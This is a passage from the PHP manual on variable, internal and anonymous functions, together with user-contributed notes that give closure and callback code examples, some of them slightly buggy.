 *      stores the return value into $accumulator for the next loop. Returns the last return value of the function,
 *
 * Notes : uses call_user_func_array() so passing parameters doesn't depend on $fun signature
 *          It also returns FALSE upon error.
 *          Please check the php documentation for more information
 */
function map($fun, $list,$params=array()){
    $acc=NULL;
    $last=array_push($params, NULL,$acc)-1; // alloc $element and $acc at the end
    foreach($list as $params[$last-1]){
        $params[$last]=call_user_func_array($fun , $params  );
    }
    $acc=array_pop($params);
    return $acc;
}

function add($element,$acc){ // maybe only with multi-length function
    if ($acc == NULL);
    return $acc=$element+$acc;
}

$result=0;
$result=addTo($result,1);
$result=addTo($result,2);
$result=addTo($result,3);
echo "result = $result\n";

$result=0;
$result=map('addTo',array(1,2,3));
echo "result= $result\n";
?>
boards at gmail dot com 22-Jan-2006 07:07
If you want to call a static function (PHP5) in a variable method:

Make an array of two entries where the 0th entry is the name of the class to be invoked ('self' and 'parent' work as well) and the 1st entry is the name of the function.  Basically, a 'callback' variable is either a string (the name of the function) or an array (0 => 'className', 1 => 'functionName').

Then, to call that function, you can use either call_user_func() or call_user_func_array().  Examples:

<?php
class A {

  protected $a;
  protected $c;

  function __construct() {
    $this->a = array('self', 'a');
    $this->c = array('self', 'c');
  }

  static function a($name, &$value) {
    echo $name,' => ',$value++,"\n";
  }

  function b($name, &$value) {
    call_user_func_array($this->a, array($name, &$value));
  }

  static function c($str) {
    echo $str,"\n";
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_arg(0));
  }

}

class B extends A {

  function __construct() {
    $this->a = array('parent', 'a');
    $this->c = array('self', 'c');
  }

  static function c() {
    print_r(func_get_args());
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_args());
  }

}

$a =& new A;
$b =& new B;
$i = 0;

A::a('index', $i);
$a->b('index', $i);

$a->c('string');
$a->d('string');
$a->e('string');

# etc.
?>
Storm 03-May-2005 05:34
This can quite useful for a dynamic database class:

(Note: This just a simplified section)

<?php
class db {

    private $host = 'localhost';
    private $user = 'username';
    private $pass = 'password';
    private $type = 'mysqli';

    public $lid = 0;

    // Connection function
    function connect() {
        $connect = $this->type.'_connect';

        if (!$this->lid = $connect($this->host, $this->user, $this->pass)) {
            die('Unable to connect.');
        }
 }
}
$db  = new db;
$db->connect();
?>

Much easier than having multiple database classes or even extending a base class.
ian at NO_SPAM dot verteron dot net 20-Dec-2002 04:33
A good method to pass around variables containing function names within some class is to use the same method as the developers use in preg_replace_callback - with arrays containing an instance of the class and the function name itself.

function call_within_an_object($fun)
{
  if(is_array($fun))
  {
    /* call a function within an object */
    $fun[0]->{$fun[1]}();
  }
  else
  {
    /* call some other function */
    $fun();
  }
}

function some_other_fun()
{
  /* code */
}

class x
{
  function fun($value)
  {
    /* some code */
  }
}

$x = new x();

/* the following line calls $x->fun() */
call_within_an_object(Array($x, 'fun'));

/* the following line calls some_other_fun() */
call_within_an_object('some_other_fun');
madeinlisboa at yahoo dot com 05-Sep-2002 02:14
Finally, a very easy way to call a variable method in a class:

Example of a class:

class Print() {
    var $mPrintFunction;

    function Print($where_to) {
        $this->mPrintFunction = "PrintTo$where_to";
    }

    function PrintToScreen($content) {
        echo $content;
    }

    function PrintToFile($content) {
        fputs ($file, $contents);
    }

.. .. ..

    // first, function name is parsed, then function is called
    $this->{$this->mPrintFunction}("something to print");
}
msmith at pmcc dot com 03-May-2002 01:49
Try the call_user_func() function.  I find it's a bit simpler to implement, and at very least makes your code a bit more readable... much more readable and simpler to research for someone who isn't familiar with this construct.


Internal (built-in) functions

PHP comes standard with many functions and constructs. There are also functions that require specific PHP extensions compiled in, otherwise fatal "undefined function" errors will appear. For example, to use image functions such as imagecreatetruecolor(), PHP must be compiled with GD support. Or, to use mysql_connect(), PHP must be compiled with MySQL support. There are many core functions that are included in every version of PHP, such as the string and variable functions. A call to phpinfo() or get_loaded_extensions() will show which extensions are loaded into PHP. Also note that many extensions are enabled by default and that the PHP manual is split up by extension. See the configuration, installation, and individual extension chapters, for information on how to set up PHP.

Reading and understanding a function's prototype is explained within the manual section titled how to read a function definition. It's important to realize what a function returns or if a function works directly on a passed in value. For example, str_replace() will return the modified string while usort() works on the actual passed in variable itself. Each manual page also has specific information for each function like information on function parameters, behavior changes, return values for both success and failure, and availability information. Knowing these important (yet often subtle) differences is crucial for writing correct PHP code.

Note: If the parameters given to a function are not what it expects, such as passing an array where a string is expected, the return value of the function is undefined. In this case it will likely return NULL but this is just a convention, and cannot be relied upon.

See also function_exists(), the function reference, get_extension_funcs(), and dl().

User Contributed Notes

There are no user contributed notes for this page.


Anonymous functions

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example #1 Anonymous function example

<?php
echo preg_replace_callback('~-([a-z])~', function ($match) {
    return strtoupper($match[1]);
}, 'hello-world');
// outputs helloWorld
?>

Closures can also be used as the values of variables; PHP automatically converts such expressions into instances of the Closure internal class. Assigning a closure to a variable uses the same syntax as any other assignment, including the trailing semicolon:

Example #2 Anonymous function variable assignment example

<?php
$greet = function($name)
{
    printf("Hello %s\r\n", $name);
};

$greet('World');
$greet('PHP');
?>

Closures may also inherit variables from the parent scope. Any such variables must be passed to the use language construct. Inheriting variables from the parent scope is not the same as using global variables. Global variables exist in the global scope, which is the same no matter what function is executing. The parent scope of a closure is the function in which the closure was declared (not necessarily the function it was called from). See the following example:

Example #3 Closures and scoping

<?php
// A basic shopping cart which contains a list of added products
// and the quantity of each product. Includes a method which
// calculates the total price of the items in the cart using a
// closure as a callback.
class Cart
{
    const PRICE_BUTTER  = 1.00;
    const PRICE_MILK    = 3.00;
    const PRICE_EGGS    = 6.95;

    protected $products = array();

    public function add($product, $quantity)
    {
        $this->products[$product] = $quantity;
    }

    public function getQuantity($product)
    {
        return isset($this->products[$product]) ? $this->products[$product] :
               FALSE;
    }

    public function getTotal($tax)
    {
        $total = 0.00;

        $callback =
            function ($quantity, $product) use ($tax, &$total)
            {
                $pricePerItem = constant(__CLASS__ . "::PRICE_" .
                    strtoupper($product));
                $total += ($pricePerItem * $quantity) * ($tax + 1.0);
            };

        array_walk($this->products, $callback);
        return round($total, 2);
    }
}

$my_cart = new Cart;

// Add some items to the cart
$my_cart->add('butter', 1);
$my_cart->add('milk', 3);
$my_cart->add('eggs', 6);

// Print the total with a 5% sales tax.
print $my_cart->getTotal(0.05) . "\n";
// The result is 54.29
?>

Anonymous functions are implemented using the Closure class.

Changelog

Version | Description
5.4.0 | $this can be used in anonymous functions.
5.3.0 | Anonymous functions become available.

Notes

Note: It is possible to use func_num_args(), func_get_arg(), and func_get_args() from within a closure.

User Contributed Notes

inaitana 11-Oct-2014 01:13
Of course I meant inappropriate:\
inaitana 11-Oct-2014 01:12
Doesn't anyone else think Closure is used here with an appropriate meaning?

Isn't closure just the concept of being able to reference the outer function environment from the inner function, as in example #3?

It's commonly used with anonymous functions, but from what I know it's not the same thing as an anonymous function.
"Lambda functions" might be another name for anonymous functions, not "Closures".

I mean, a named function could employ closure too.
And anonymous functions don't necessarily support closure in all languages.
andris at codeaid dot net 05-Mar-2014 09:33
Haven't seen it documented anywhere but PHP 5.4 now allows accessing private and protected members of an object if it's passed into a lambda function:

<?php
class Scope
{
    protected $property = 'default';
    // or even
    // private $property = 'default';

    public function run()
    {
        $self = $this;
        $func = function() use ($self) {
            $self->property = 'changed';
        };

        $func();
        var_dump($this->property);
    }
}

$scope = new Scope();
$scope->run();
?>

When running the file under PHP 5.3 you get the following error message:
 * Fatal error: Cannot access protected property Scope::$property in ./file.php on line 11

PHP 5.4, however, does not complain and outputs "changed" as expected.

Not sure why it's like that but I suspect it has something to do with 5.4 supporting passing $this into lambda functions.

Speaking of which, something to remember is that the following won't work:
<?php
$func = function() use ($this) {
    $this->property = 'changed';
};
?>
The error you'll get is:
 * PHP Fatal error:  Cannot use $this as lexical variable in ./file.php on line 9

You have to totally omit the use statement for it to work:
<?php
$func = function() {
    $this->property = 'changed';
};
?>
Victor 25-Feb-2014 05:26
Please note that while You can assign a closure to an array key with the method

$array['key'] = function() { return $whatever; };

You cannot do the same with the array assignment operator.

So

$array = Array(
  'key' => function() { return $whatever; }
);

will NOT work.
(This is indeed awkward.)
mail at mkharitonov dot net 20-Feb-2014 08:20
Some comparisons of PHP and JavaScript closures.

=== Example 1 (passing by value) ===
PHP code:
<?php
$aaa = 111;
$func = function() use($aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "111"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = (function(aaa){ return function(){ alert(aaa); } })(aaa);
aaa = 222;
func(); // Outputs "111"
</script>

Be careful, following code is not similar to previous code:
<script type="text/javascript">
var aaa = 111;
var bbb = aaa;
var func = function(){ alert(bbb); };
aaa = 222;
func(); // Outputs "111", but only while "bbb" is not changed after function declaration

// And this technique is not working in loops:
var functions = [];
for (var i = 0; i < 2; i++)
{
    var i2 = i;
    functions.push(function(){ alert(i2); });
}
functions[0](); // Outputs "1", wrong!
functions[1](); // Outputs "1", ok
</script>

=== Example 2 (passing by reference) ===
PHP code:
<?php
$aaa = 111;
$func = function() use(&$aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "222"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = function(){ alert(aaa); };
aaa = 222; // Outputs "222"
func();
</script>
jc at jmccc dot com 21-Jan-2014 02:48
In 5.3, $this cannot be used in an anonymous function, though you can simply assign $this to another variable and pass that into the function in the use section, This quick and dirty hack works for at least calling public functions and accessing public variables of the parent class.

<?php

class Example {
    public $blah;
    function foo() {
        $that = $this;
        $tmp = function() use ($that) {
             return $that->blah;
         }
        return $tmp;
    }
}

$test = new Example();
$example->blah = "whatever";
echo $example->foo(); // prints "whatever"
derkontrollfreak+9hy5l at gmail dot com 10-Jan-2014 01:41
Beware that since PHP 5.4 registering a Closure as an object property that has been instantiated in the same object scope will create a circular reference which prevents immediate object destruction:
<?php

class Test
{
    private $closure;

    public function __construct()
    {
        $this->closure = function () {
        };
    }

    public function __destruct()
    {
        echo "destructed\n";
    }
}

new Test;
echo "finished\n";

/*
 * Result in PHP 5.3:
 * ------------------
 * destructed
 * finished
 *
 * Result since PHP 5.4:
 * ---------------------
 * finished
 * destructed
 */

?>

To circumvent this, you can instantiate the Closure in a static method:
<?php

public function __construct()
{
    $this->closure = self::createClosure();
}

public static function createClosure()
{
    return function () {
    };
}

?>
cHao 14-Dec-2013 08:42
In case you were wondering (cause i was), anonymous functions can return references just like named functions can.  Simply use the & the same way you would for a named function...right after the `function` keyword (and right before the nonexistent name).

<?php
    $value = 0;
    $fn = function &() use (&$value) { return $value; };

    $x =& $fn();
    var_dump($x, $value);        // 'int(0)', 'int(0)'
    ++$x;
    var_dump($x, $value);        // 'int(1)', 'int(1)'
alexander at cheprasov dot com 26-Nov-2013 10:06
Example:

<?php
$a = 213;

$f = function() use ($a){
    echo $a;
};

$a = 144;
echo $a;

$f();
?>

Result:
144
213
assarte dot draven at gmail dot com 08-Nov-2013 05:51
You cannot use closures as a class variable member in its declaration like this:

<?php

class foo
{
    public $bar = function() {
        echo "baz";
    };
}

?>

I don't know why but this will raise a
Parse error: syntax error, unexpected 'function' (T_FUNCTION)

(used PHP 5.4)
rmckay at webaware dot com dot au 09-Oct-2013 08:10
Some hosts are installing the eAccelerator opcode cache with PHP 5.4, and current production versions of this opcode cache break closures. If you find that your nice, working closures break when you load your code to a hosted website, check for eAccelerator (e.g. by calling phpinfo() and checking the output).

Simple fixes include:

* disabling eAccelerator and opcode caching
* replacing eAccelerator with Zend's opcache
* reverting to PHP 5.3

Apparently, the eAccelerator project has solved this issue, but hosts move slowly so I recommend removing eAccelerator from the equation for now.
mrdaniel619 at gmail dot com 03-Jun-2013 03:54
just in case you ever want to change a member function run time

<?php

class t
{
    var $num;

    var $dynamic_function;

    public function dynamic_function()
    {
        $func = $this->dynamic_function;

        $func($this);
    }
}

$p = new t();

$p->num = 5;

$p->dynamic_function = function($this_ref) // param cannot be named $this
{
    echo $this_ref->num++.'<br />';
};

$p->dynamic_function(); // CALL YOUR DYNAMIC FUNCTION

$p->dynamic_function = function($this_ref) // NEW DYNAMIC fUNCRION
{
    echo $this_ref->num.'<br />';

    $this_ref->num *= 3;
};

$p->dynamic_function(); // CALL DYNAMIC FUNCTION

echo $p->num; // display number

exit;

?>

output:
5
6
18
nbjayme at yahoo dot com 01-Jun-2013 05:57
as of PHP version 5.3

self::mycollection is an anonymous function array

self::mycollection["funcId"]();   // error unknown

To fix:

$theFunc = & self::mycollection["funcId"];
$theFunc();
nathan at crause dot name 16-May-2013 07:35
One item not mentioned anywhere is how to invoke an anonymous function "in-line".

To explain what I mean, let me use an actual example. Instead of creating code like this:
<?php
$wording = ($from == 0 && $to == 0
    ? '< 1 Year'
    : ($to == 9999
        ? ($from - 1) . '+ Years'
        : "$from - $to Years"));
?>

You might, instead, want to use an anonymous function right in the assignment line. However, doing:
<?php
$wording = function() use ($from, $to) { ... }
?>
would actually assign $wording to the Closure instance, not actually execute the function.

The best way to do this that I've found is:
<?php
$wording = call_user_func(function() use ($from, $to) {
    if ($from == 0 && $to == 0) return '< 1 Year';
    if ($to == 9999) return ($from - 1) . '+ Years';

    return "$from - $to Years";
});
?>

It's a little longer than the first code sample, but I think it's more readable, and using this methodology opens up the ability to use more complex means of calculating a value without filling the variable scope with a bunch of temporary variables.
benkuhl at gmail dot com 01-Feb-2013 01:34
Beware of scope!  $this refers to the class that the function was defined within.

 ----------- Example #1 - Doesn't work (Notice: Undefined variable: this) -----------
<?php

$callableFunc = function () {
    var_dump($this);
};

call_user_func($callableFunc);

?>

 ----------- Example #2 - Doesn't work (Notice: Undefined variable: this) -----------
<?php
class myClass {
    public function execute($func) {
        if (is_callable($func)) {
            call_user_func($func);
        }
    }
}

$class = new myClass();
$class->execute(function () {
    var_dump($this);
});
?>

 ----------- Example #3 - Works! -----------
<?php
class myClass {
    public function getMyExecutableFunction() {
        return function () {
            var_dump($this);
        };
    }

    public function execute($func) {
        if (is_callable($func)) {
            call_user_func($func);
        }
    }
}

$class = new myClass();
$class->execute($class->getMyExecutableFunction()); //object(myClass)[1]
?>

$this is not available in a static method!
marcellorvalle at gmail dot com 30-Dec-2012 07:05
I fell uncomfortable with php's way to pass callbacks ahead. It's just a personal opinion but i think the structure array($object, 'method') a little bit ugly. In some special cases i would like to do something more verbose, like that:

<?php
    $sortedArray = ArrayServices::sort($arrayOfPerson, $sortPerson->byName);
?>

Here, "$sortPerson->byName" is a pointer to a function that receives 2 instances of Person and return true if the name of the first is "bigger" than the second. "ArrayServices::sort" is a function that can sort any kind of array using different criterias, it uses the function passed on the second parameter to compare two items on the array

I am able do that defining a simple abstract class which gives the ability to it's children to expose their methods as closures using __get() magic funtion.

<?php
abstract class ClosureExposerObject
{
    public function __get($methodName)
    {
        if (is_callable(
                array($this, $methodName)))
        {
            return function() use ($methodName)
            {
                $args = func_get_args();
                return call_user_func_array(array($this, $methodName), $args);
            };
        }
        else
        {
            $className = get_class($this);
            throw new \BadMethodCallException("$method is not a callable at $className class.");
        }
    }
}
?>

Now it is possible to define a class SortPerson so that i could use it like in the first code snippet.

<?php

class SortPerson extends ClosureExposerObject
{
    public function byName(Person p1, Person p2)
    {
        return p1->getName() > p2->getName();
    }

    public function byAge(Person p1, Person p2)
    {
        return p1->getAge() > p2->getAge();
    }

    public function bySurName(Person p1, Person p2)
    (...)
}

?>

I just needed to extend ClosureExposerObject and do nothing more.

Some observations: SortPerson is a service class but i decided not to implement it with static methods. It is a personal matter but i really dont like to implement such small classes with statics. Also i have inverted some naming conventions (class names as substantives and methods as verbs) but in some very special cases i thing that it actually helps readability.
orwellophile at phpblue dot net 16-Mar-2012 01:42
You can create a dynamic method with a class, with access to member variables, with a little bit of trickery:

<?
    class DynamicFunction {
        var $functionPointer;
        var $mv = "The Member Variable";

        function __construct() {
            $this->functionPointer = function($arg) {
                return sprintf("I am the default closure, argument is %s\n", $arg);
            };
        }

        function changeFunction($functionSource) {
            $functionSource = str_replace('$this', '$_this', $functionSource);
            $_this = clone $this;

            $f = '$this->functionPointer = function($arg) use ($_this) {' . PHP_EOL;
            $f.= $functionSource . PHP_EOL . "};";
            eval($f);
        }

        function __call($method, $args) {
            if ( $this->{$method} instanceof Closure ) {
                return call_user_func_array($this->{$method},$args);
            } else {
                throw new Exception("Invalid Function");
            }
        }
    }

    if (!empty($argc) && !strcmp(basename($argv[0]), basename(__FILE__))) {
        $dfstring1 = 'return sprintf("I am dynamic function 1, argument is %s, member variables is %s\n", $arg, $this->mv);';
        $dfstring2 = 'return sprintf("I am dynamic function 2, argument is %s, member variables is %s\n", $arg, $this->mv);';

        $df = new DynamicFunction();
        $df->changeFunction($dfstring1);
        echo $df->functionPointer("Rabbit");

        $df->changeFunction($dfstring2);
        $df->mv = "A different var";
        echo $df->functionPointer("Cow");
    };
?>
mike at borft dot student dot utwente dot nl 24-Jan-2012 11:46
Since it is possible to assign closures to class variables, it is a shame it is not possible to call them directly. ie. the following does not work:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }
}

$f = new foo();

$f->test();
?>

However, it is possible using the magic __call function:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }

  public function __call($method, $args){
    if ( $this->{$method} instanceof Closure ) {
      return call_user_func_array($this->{$method},$args);
    } else {
      return parent::__call($method, $args);
    }
  }
}
$f = new foo();
$f->test();
?>
it
Hope it helps someone ;)
reinaldorock at yahoo dot com dot br 28-Aug-2011 05:15
Using closure to encapsulate environment
<?php
    $fib = function($n) use(&$fib) {
        if($n == 0 || $n == 1) return 1;
        return $fib($n - 1) + $fib($n - 2);
    };

   echo $fib(2) . "\n"; // 2
   $lie = $fib;
   $fib = function(){die('error');};//rewrite $fib variable
   echo $lie(5); // error   because $fib is referenced by closure

?>

Alternative Fibonacci implementation using a self called function like javascript to encapsulate references variables.

<?php
$fib = call_user_func(function(){

    $fib = function($n) use(&$fib) {
        if($n == 0 || $n == 1) return 1;
        return $fib($n - 1) + $fib($n - 2);
    };

    return $fib;
});

echo $fib(2) . "\n";//2
$ok = $fib;

$fib = function(){die('error')};//rewrite $fib variable but don't referenced $fib used by closure
echo $ok(5);//result ok
?>
ldrut 13-Aug-2011 10:24
A common way to avoid contaminating Javascript global space with unneeded variables is to move the code into an immediately called anonymous closure.

(function(){ ... })()

The equivalent way to do that in PHP 5.3+ is

call_user_func(function() use(closure-vars){ ... });
simon at generalflows dot com 05-Aug-2011 05:23
<?php

/*
 * An example showing how to use closures to implement a Python-like decorator
 * pattern.
 *
 * My goal was that you should be able to decorate a function with any
 * other function, then call the decorated function directly:
 *
 * Define function:         $foo = function($a, $b, $c, ...) {...}
 * Define decorator:        $decorator = function($func) {...}
 * Decorate it:             $foo = $decorator($foo)
 * Call it:                 $foo($a, $b, $c, ...)
 *
 * This example show an authentication decorator for a service, using a simple
 * mock session and mock service.
 */

session_start();

/*
 * Define an example decorator. A decorator function should take the form:
 * $decorator = function($func) {
 *     return function() use $func) {
 *         // Do something, then call the decorated function when needed:
 *         $args = func_get_args($func);
 *         call_user_func_array($func, $args);
 *         // Do something else.
 *     };
 * };
 */
$authorise = function($func) {
    return function() use ($func) {
        if ($_SESSION['is_authorised'] == true) {
            $args = func_get_args($func);
            call_user_func_array($func, $args);
        }
        else {
            echo "Access Denied";
        }
    };
};

/*
 * Define a function to be decorated, in this example a mock service that
 * need to be authorised.
 */
$service = function($foo) {
    echo "Service returns: $foo";
};

/*
 * Decorate it. Ensure you replace the origin function reference with the
 * decorated function; ie just $authorise($service) won't work, so do
 * $service = $authorise($service)
 */
$service = $authorise($service);

/*
 * Establish mock authorisation, call the service; should get
 * 'Service returns: test 1'.
 */
$_SESSION['is_authorised'] = true;
$service('test 1');

/*
 * Remove mock authorisation, call the service; should get 'Access Denied'.
 */
$_SESSION['is_authorised'] = false;
$service('test 2');

?>
paul at somewhere dot com 06-Mar-2011 11:36
I benched instantiating a function and lambda function.

Functions used:
<?php

function data() {
 $var = 'hi';
}
$lambda = function() {
 $var = 'hi';
}

?>

Bench for instantiating a function:
1.692800000000000082422957 μs
Bench for instantiating Lambda Function:
0.906000000000000027533531 μs
Bench for calling function:
0.7153000000000000468958206 μs
Bench for calling lambda function:
0.6914000000000000145661261 μs

Calling the lambda function and regular function fluctuates between .81 and .65 so they seem to be the same.
fabiolimasouto at gmail dot com 24-Feb-2011 04:51
You may have been disapointed if you tried to call a closure stored in an instance variable as you would regularly do with methods:

<?php

$obj = new StdClass();

$obj->func = function(){
 echo "hello";
};

//$obj->func(); // doesn't work! php tries to match an instance method called "func" that is not defined in the original class' signature

// you have to do this instead:
$func = $obj->func;
$func();

// or:
call_user_func($obj->func);

// however, you might wanna check this out:
$array['func'] = function(){
 echo "hello";
};

$array['func'](); // it works! i discovered that just recently ;)
?>

Now, coming back to the problem of assigning functions/methods "on the fly" to an object and being able to call them as if they were regular methods, you could trick php with this lawbreaker-code:

<?php
class test{
 private $functions = array();
 private $vars = array();

 function __set($name,$data)
 {
  if(is_callable($data))
    $this->functions[$name] = $data;
  else
   $this->vars[$name] = $data;
 }

 function __get($name)
 {
  if(isset($this->vars[$name]))
   return $this->vars[$name];
 }

 function __call($method,$args)
 {
  if(isset($this->functions[$method]))
  {
   call_user_func_array($this->functions[$method],$args);
  } else {
   // error out
  }
 }
}

// LET'S BREAK SOME LAW NOW!
$obj = new test;

$obj->sayHelloWithMyName = function($name){
 echo "Hello $name!";
};

$obj->sayHelloWithMyName('Fabio'); // Hello Fabio!

// THE OLD WAY (NON-CLOSURE) ALSO WORKS:

function sayHello()
{
 echo "Hello!";
}

$obj->justSayHello = 'sayHello';
$obj->justSayHello(); // Hello!
?>

NOTICE: of course this is very bad practice since you cannot refere to protected or private fields/methods inside these pseudo "methods" as they are not instance methods at all but rather ordinary functions/closures assigned to the object's instance variables "on the fly". But I hope you've enjoyed the jurney ;)
Suman Madavapeddi. 15-Feb-2011 02:31
These  Closures are really interesting to me .This would be helpful.
<?php
Class Operations{
    public function ops($x,$y,$op){
        switch ($op){
            case 'ADD':return function() use($x,$y){
                            return $x+$y."<br>";
                       };
                       break;
            case 'SUB': return function() use ($x,$y){
                            return $x-$y."<br>";
                        };
                        break;
            default:    return function(){
                            return "Operation is not supported by class"."<br>";
                        };
        }
    }
}

$op =  new Operations();
$fn1 = $op->ops(6,7,'ADD');
echo $fn1();

$fn2 = $op->ops(6,2,'SUB');
echo $fn2();

$fn2 = $op->ops(6,7,'MUL');
echo $fn2();
?>
Anonymous 28-Oct-2010 09:54
use() parameters are early binding - they use the variable's value at the point where the lambda function is declared, rather than the point where the lambda function is called (late binding).

If you want late binding put & before the variable inside use()
<?php
$fn = function () use (&$var) { echo $var; };
?>
Examples:
<?php
// problem 1: this should echo "Canada", not a php notice
$fn = function () use ($country) { echo $country . "\n"; };
$country = 'Canada';
$fn();

// problem 2: this should echo "Canada", not "UnitedStates"
$country = 'UnitedStates';
$fn = function () use ($country) { echo $country . "\n"; };
$country = 'Canada';
$fn();

// problem 3: this should echo "Canada", not "UnitedStates"
$country = (object)array('name' => 'UnitedStates');
$fn = function () use ($country) { echo $country->name . "\n"; };
$country = (object)array('name' => 'Canada');
$fn();

// problem 4: this outputs "Canada". if this outputs "Canada",
// then so should problem 2 above. otherwise this should be
// just as broken as problem 2 and be outputting "UnitedStates"
$country = (object)array('name' => 'UnitedStates');
$fn = function () use ($country) { echo $country->name . "\n"; };
$country->name = 'Canada';
$fn();
?>
see http://bugs.php.net/bug.php?id=50980
(I've just quoted from there, but if you want you can read there the whole feature request)
Hayley Watson 22-Oct-2010 04:00
As an alternative to gabriel's recursive construction, you may instead assign the recursive function to a variable, and use it by reference, thus:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

echo $fib(10);
?>
Hardly a sensible implementation of the Fibonacci sequence, but that's not the point! The point is that the variable needs to be used by reference, not value.

Without the '&', the anonymous function gets the value of $fib at the time the function is being created. But until the function has been created, $fib can't have it as a value! It's not until AFTER the function has been assigned to $fib that $fib can be used to call the function - but by then it's too late to pass its value to the function being created!

Using a reference resolves the dilemma: when called, the anonymous function will use $fib's current value, which will be the anonymous function itself.

At least, it will be if you don't reassign $fib to anything else between creating the function and calling it:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

$lie = $fib;

$fib = function($n)
{
    return 100;
};

echo $lie(10); // 200, because $fib(10 - 1) and $fib(10 - 2) both return 100.
?>

Of course, that's true of any variable: if you don't want its value to change, don't change its value.

All the usual scoping rules for variables still apply: a local variable in a function is a different variable from another one with the same name in another function:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

$bark = function($f)
{
    $fib = 'cake';    // A totally different variable from the $fib above.
    return 2 * $f(5);
};

echo $bark($fib); // 16, twice the fifth Fibonacci number

?>
anonymous 19-Aug-2010 12:21
Base dao class illustrating the usefulness of closures.
* Handles opening and closing of connections.
* Adds slashes sql
* Type checking of sql parameters and casts as appropriate
* Provides hook for processing of result set and emitting one or more objects.
* Provides hook for accessing underlying link and result objects.

<?php

define("userName","root");
define("password","root");
define("dbName","ahcdb");
define("hostName","localhost");

class BaseDao {

    function getConnection()    {
        $link = mysql_connect(hostName, userName, password);
        if (!$link)
            die("Could not connect: " . mysql_error());
        if (!mysql_select_db(dbName))
            die("Could not select database: " . mysql_error());
        return $link;
    }

    function setParams(& $sql, $params)    {
        if($params != null)
            $sql = vsprintf($sql, array_map(function($n) {
                if(is_int($n))
                    return (int)$n;
                if(is_float($n))
                    return (float)$n;
                if(is_string($n))
                    return "'".mysql_real_escape_string($n)."'";
                return mysql_real_escape_string($n);
            }, $params));
    }

    function executeQuery($sql, $params, $callback = null)    {
        $link  = $this->getConnection();
        $this->setParams($sql, $params);
        $return = null;
        if(($result = mysql_query($sql, $link)) != null)
            if($callback != null)
                $return = $callback($result, $link);
        if($link != null)
            mysql_close($link);
        if(!$result)
            die("Fatal Error: Invalid query '$sql' : " . mysql_error());
        return $return;
    }

    function getList($sql, $params, $callback)    {
        return $this->executeQuery($sql, $params, function($result, $link) use ($callback) {
            $idx = 0;
            $list = array();
            while ($row = mysql_fetch_assoc($result))
                if($callback != null)
                    $list[$idx] = $callback($idx++, $row);
            return $list;
        });
    }

    function getSingle($sql, $params, $callback)    {
        return $this->executeQuery($sql, $params, function($result, $link) use ($callback) {
            if ($row = mysql_fetch_assoc($result))
                $obj = $callback($row);
            return $obj;
        });
    }
}

class Example    {
    var $id;
    var $name;

    function Example($id, $name){
        $this->id = $id;
        $this->name = $name;
    }

    function setId($id){
        $this->id = $id;
    }
}

class ExampleDao extends BaseDao    {

    function getAll(){
        return parent::getList("select * from nodes", null, function($idx, $row) {
            return new Example($row["id"], $row["name"]);
        });
    }

    function load($id){
        return parent::getSingle("select * from nodes where id = %1\$s", array($id), function($row) {
            return new Example($row["id"], $row["name"]);
        });
    }

    function update($example){
        return parent::executeQuery("update nodes set name = '' where  id = -1", null, function($result, $link){
            return $result;
        });
    }

    function insert(& $example){
        return parent::executeQuery("insert into nodes", null, function($result, $link) use ($example){
            $id = mysql_insert_id($link);
            $example->setId($id);
            return $result;
        });
    }
}

$exampleDao = new ExampleDao();

$list = $exampleDao->getAll());

$exampleObject = $exampleDao->load(1));

$exampleDao->update($exampleObject);

?>
orls 09-Aug-2010 03:53
Watch out when 'importing' variables to a closure's scope  -- it's easy to miss / forget that they are actually being *copied* into the closure's scope, rather than just being made available.

So you will need to explicitly pass them in by reference if your closure cares about their contents over time:

<?php
$result = 0;

$one = function()
{ var_dump($result); };

$two = function() use ($result)
{ var_dump($result); };

$three = function() use (&$result)
{ var_dump($result); };

$result++;

$one();    // outputs NULL: $result is not in scope
$two();    // outputs int(0): $result was copied
$three();    // outputs int(1)
?>

Another less trivial example with objects (what I actually tripped up on):

<?php
//set up variable in advance
$myInstance = null;

$broken = function() uses ($myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
};

$working = function() uses (&$myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
}

//$myInstance might be instantiated, might not be
if(SomeBusinessLogic::worked() == true)
{
    $myInstance = new myClass();
}

$broken();    // will never do anything: $myInstance will ALWAYS be null inside this closure.
$working();    // will call doSomething if $myInstance is instantiated

?>
gabriel dot totoliciu at ddsec dot net 20-Jul-2010 07:56
If you want to make a recursive closure, you will need to write this:

$some_var1="1";
$some_var2="2";

function($param1, $param2) use ($some_var1, $some_var2)
{

//some code here

call_user_func(__FUNCTION__, $other_param1, $other_param2);

//some code here

}

If you need to pass values by reference you should check out

http://www.php.net/manual/en/function.call-user-func.php
http://www.php.net/manual/en/function.call-user-func-array.php

If you're wondering if $some_var1 and $some_var2 are still visible by using the call_user_func, yes, they are available.
martin dot partel at gmail dot com 11-Jun-2010 07:50
$this is currently (PHP 5.3.2) not usable directly with closures.

One can write:
<?php
$self = $this;
function () use ($self) { ... }
?>
but then the private/protected members of $this cannot be used inside the closure. This makes closures much less useful in OO code.

Until this is fixed, one can cheat using reflection:
<?php
class FullAccessWrapper
{
    protected $_self;
    protected $_refl;

    public function __construct($self)
    {
        $this->_self = $self;
        $this->_refl = new ReflectionObject($self);
    }

    public function __call($method, $args)
    {
        $mrefl = $this->_refl->getMethod($method);
        $mrefl->setAccessible(true);
        return $mrefl->invokeArgs($this->_self, $args);
    }

    public function __set($name, $value)
    {
